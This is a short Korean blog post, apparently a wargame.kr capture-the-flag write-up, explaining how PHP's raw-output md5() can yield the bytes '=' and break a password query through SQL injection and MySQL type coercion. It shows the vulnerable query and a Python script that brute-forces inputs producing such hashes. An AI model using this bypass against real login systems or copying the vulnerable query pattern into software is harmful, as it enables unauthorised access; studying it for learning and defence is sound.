md5('value',true)
md5함수의 두번째 인자에 true가 들어가면 byte형식으로 hash결과가 나온다는 것이다.
이는 특수문자가 결과값으로 나올수도 있다는 말인데
python으로 치면
md5().hexdigest()와 md5().digest()의 차이이다.
아무튼 결과값이 asdfg'='qwer
이런식으로 '=' 가 들어가게 되면
$row=@mysql_fetch_array(mysql_query("select * from admin_password where password='".md5($ps,true)."'"));
여기서 "select * from admin_password where password='"asdfg'='qwer"'"
처럼 되어서 '"asdfg'='qwer"' -> 결과값 0이 되고 password=0을 비교하는데 typecasting과정에서 password를 int로 캐스팅하면((int)문자열=0)
0=0 , 즉 참이 된다.
'='찾는 코드
import time import string import hashlib def search(): s='0123456789' s+=string.ascii_letters for i in s: for j in s: for l in s: for k in s: a=i+j+l+k if b'\'=\'' in hashlib.md5(a.encode()).digest(): print(a) time.sleep(5) search()
'war game > wargame.kr' 카테고리의 다른 글
[wargame.kr]lonely_guys (0) | 2017.03.02 |
---|---|
[wargame.kr]dmbs335 (0) | 2017.02.25 |
[wargame.kr]simple board (0) | 2017.02.24 |
[wargame.kr]web_chatting - sql_injection (0) | 2017.02.20 |
[wargame.kr]dun_worry_about_the_vase - oracle padding attack (0) | 2017.02.20 |